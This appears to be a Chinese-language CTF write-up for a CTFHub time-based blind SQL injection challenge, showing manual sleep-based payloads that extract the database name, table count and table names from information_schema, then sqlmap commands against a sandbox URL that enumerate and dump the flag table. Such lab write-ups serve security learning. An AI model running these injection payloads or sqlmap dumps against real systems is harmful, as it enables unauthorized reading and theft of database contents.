2025.1.15——五、时间盲注

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

[step 1:手工注入确认为时间盲注](#step 1:手工注入确认为时间盲注)

[step 2:爆数据库长度、名称](#step 2:爆数据库长度、名称)

1.数据库长度

2.数据库名

[step 3:爆表数、长度、名称](#step 3:爆表数、长度、名称)

1.爆表数

2.爆表名长度

3.爆具体名称

三、sqlmap解题

step1:爆数据库名

[step 2:爆表名](#step 2:爆表名)

[step 3:爆列名](#step 3:爆列名)

[step 4:爆具体数据](#step 4:爆具体数据)

四、小结


一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

step 1:手工注入确认为时间盲注

键入:1

键入:1'

以上均无反应

但一下payload

sql 复制代码
 1 and sleep(10)

明显感觉到延迟

step 2:爆数据库长度、名称

1.数据库长度

sql 复制代码
1 and if(length(database())=4,sleep(10),1)

2.数据库名

sql 复制代码
1 and if(ascii(substr(database(),1,1))>110,sleep(5),1)

先判断字符范围

逐步确认信息

sql 复制代码
1 and if(ascii(substr(database(),1,1))=115,sleep(15),1)

逐步得到信息115 113 108 105,得数据库名是sqli

step 3:爆表数、长度、名称

1.爆表数

sql 复制代码
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

2.爆表名长度

正确payload如下

sql 复制代码
1 and if(length((select table_name from information_schema.tables where table_schema='sqli' limit 0,1))=4,sleep(10),1)

注:这里length()函数中需要一个括号将select语句括起来,才算完整,否则运行不下去

3.爆具体名称

以下payload无语法错误,但是运行不出来是因为表排列顺序不同

1 and if(ascii((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)=110,sleep(15),1)

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

正确payload如下

sql 复制代码
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

这里的问题是表的顺序,第一个表是news,第二个表是flag

三、sqlmap解题

sqlmap爆数据库名、表名、列名、具体数据形式

sqlmap -u url --current-db

sqlmap -u url -D sqli --tables

sqlmap -u url -D sqli -T flag --columns

sqlmap -u url -D sqli -T flag -C flag --dump

step1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 --current-db

step 2:爆表名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

step 3:爆列名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

四、小结

sqlmap中有value字样,是说有几个值,比如爆具体数据时显示1,说明有一个值在其中

相关推荐
bianguanyue31 分钟前
SQLite密码修改故障排查:RSA加密随机性导致的数据库匹配问题
数据库·sqlite·c#
亚马逊云开发者41 分钟前
将 Go 应用从 x86 平台迁移至 Amazon Graviton:场景剖析与最佳实践
linux·数据库·golang
凉拌青瓜哈1 小时前
DVWA-LOW级-SQL手工注入漏洞测试(MySQL数据库)+sqlmap自动化注入-小白必看(超详细)
mysql·安全·网络安全
张先shen2 小时前
亿级流量下的缓存架构设计:Redis+Caffeine多级缓存实战
数据库·redis·缓存
quweiie2 小时前
tp8.0\jwt接口安全验证
前端·安全·jwt·thinkphp
~ 小团子2 小时前
每日一SQL 【各赛事的用户注册率】
数据库·sql
llm2009092 小时前
Jmeter的JDBC数据库连接
数据库·jmeter
betazhou3 小时前
SQL server之版本的初认知
数据库·oracle·goldengate·sql server·ogg·gdr
superonion06203 小时前
【DB2】load报错SQL3501W、SQL3109N、SQL2036N
数据库
~ 小团子3 小时前
每日一SQL 【每月交易 I】
数据库·sql